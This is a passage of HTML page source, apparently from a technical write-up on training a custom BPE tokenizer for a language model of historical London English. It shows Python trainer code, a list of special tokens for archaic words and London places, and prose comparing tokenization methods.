&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        pre_tokenizers&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;WhitespaceSplit(),  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Split on whitespace&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        pre_tokenizers&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Punctuation()       &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Split punctuation from words&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Special tokens for historical English&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    special_tokens &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|startoftext|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|endoftext|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|pad|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|unk|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|mask|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Historical language tokens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|thou|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|thee|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|thy|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|thine|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|hast|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|hath|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|doth|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|dost|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|quoth|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|tis|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|twas|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|twill|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# London geography tokens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|london|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|thames|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|westminster|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|tower|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|newgate|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|southwark|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|cheapside|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|fleet|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|ludgate|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|aldgate|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Historical period tokens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|tudor|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|stuart|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|georgian|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|regency|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|victorian|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Social class tokens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|noble|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|gentleman|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|commoner|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|apprentice|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|yeoman|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Professional tokens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|apothecary|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|coachman|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|chimneysweep|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|baker|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|butcher|&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# BPE trainer configuration&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# The trainer defines how the BPE algorithm learns from our corpus&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    trainer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; trainers&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;BpeTrainer(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        vocab_size&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;vocab_size,        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Target vocabulary size (30,000 tokens) - balanced between coverage and efficiency&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;special_tokens,     &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Pre-defined tokens that are always included&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        min_frequency&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;,                   &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Minimum frequency prevents vocabulary pollution from OCR errors&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        show_progress&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;,                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Display training progress&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Removed continuing_subword_prefix=&amp;#34;##&amp;#34; to eliminate WordPiece-style artifacts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# This ensures pure BPE tokenization without ## symbols in generated text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        initial_alphabet&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;b&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;c&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;d&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;e&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;f&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;g&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;h&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;i&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;j&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;k&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;l&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;m&amp;#34;&lt;/span&gt;, 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;n&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;o&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;p&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;q&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;r&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;s&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;t&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;u&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;v&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;w&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;x&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;y&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;A&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;B&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;C&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;D&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;E&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;F&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;G&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;H&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;I&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;J&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;K&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;L&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;M&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;O&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;P&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Q&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;R&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;S&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;T&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;U&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;V&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;W&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;X&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Z&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Train the tokenizer on our historical corpus&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# This is where the BPE algorithm learns the optimal subword patterns&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;train([&lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;corpus_path)], trainer)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; tokenizer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 9: Custom Tokenizer Training Function&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h4 id=&#34;322-tokenization-architecture-decisions&#34;&gt;3.2.2 Tokenization Architecture Decisions&lt;/h4&gt;
&lt;p&gt;Our custom historical tokenizer necessitated several critical design decisions to handle historical English effectively. We evaluated multiple tokenization approaches including &lt;strong&gt;Byte Pair Encoding (BPE)&lt;/strong&gt; (&lt;a
	
		href = &#34;https://arxiv.org/abs/1508.07909&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Sennrich et al., 2016
	&lt;/span&gt;
&lt;/a&gt;), &lt;strong&gt;WordPiece&lt;/strong&gt; (&lt;a
	
		href = &#34;https://research.google/pubs/pub37842/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Schuster &amp;amp; Nakajima, 2012
	&lt;/span&gt;
&lt;/a&gt;), &lt;strong&gt;Unigram Language Model&lt;/strong&gt; (&lt;a
	
		href = &#34;https://arxiv.org/abs/1804.10959&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Kudo, 2018
	&lt;/span&gt;
&lt;/a&gt;), &lt;strong&gt;SentencePiece&lt;/strong&gt; (&lt;a
	
		href = &#34;https://arxiv.org/abs/1808.06226&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Kudo &amp;amp; Richardson, 2018
	&lt;/span&gt;
&lt;/a&gt;), and traditional character-level and word-level tokenization. Each approach has distinct trade-offs: BPE produces clean subwords without special markers (used by GPT models), WordPiece adds &lt;code&gt;##&lt;/code&gt; prefixes that contaminate generated text (used by BERT), Unigram uses probabilistic modeling but is computationally expensive, SentencePiece treats text as raw bytes and excels at multilingual scenarios, while character-level and word-level tokenization either produce impractically long sequences or massive vocabularies.&lt;/p&gt;
&lt;p&gt;For historical text generation, BPE provides the optimal balance of clean output, efficient training, and effective vocabulary coverage, as demonstrated by &lt;a
	
		href = &#34;https://cdn.openai.com/better-language-models/language_models_are_unsupervised_multitask_learners.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Radford et al., 2019
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;https://arxiv.org/abs/2112.10508&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Mielke et al., 2021
	&lt;/span&gt;
&lt;/a&gt;. We also preserve case throughout tokenization, since historical text often uses capitalization for semantic meaning (e.g., &amp;ldquo;Thou&amp;rdquo; vs. &amp;ldquo;thou&amp;rdquo;), and include over 150 carefully designed special tokens that capture historical language patterns, London geography, and social context. This combination ensures our tokenizer can effectively learn and generate authentic historical language while maintaining computational efficiency.&lt;/p&gt;
&lt;h3 id=&#34;33-special-token-design-capturing-historical-language-patterns&#34;&gt;3.3 Special Token Design: Capturing Historical Language Patterns&lt;/h3&gt;
&lt;p&gt;Historical English contains linguistic patterns, vocabulary, and cultural references that are no longer present in modern English. Standard tokenizers fragment these patterns, destroying the semantic meaning crucial for historical text generation. The solution here was to design 150 special tokens that capture the essence of historical English, organized into strategic categories that reflect the linguistic and cultural structure of 1500-1850 English.&lt;/p&gt;
&lt;figure id=&#34;listing10&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;create_special_tokens&lt;/span&gt;() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;list&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Create special tokens for historical English&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    special_tokens &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Basic control tokens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|startoftext|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|endoftext|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|pad|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|unk|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|mask|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Historical language tokens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|thou|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|thee|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|thy|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|thine|&amp;gt;&amp;#34;&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Second person pronouns&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|hast|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|hath|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|doth|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|dost|&amp;gt;&amp;#34;&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Archaic verb forms&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|quoth|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|tis|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|twas|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|twill|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Common contractions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# London geography tokens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|london|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|thames|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|westminster|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|tower|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|newgate|&amp;gt;&amp;#34;&lt;/span&gt;,
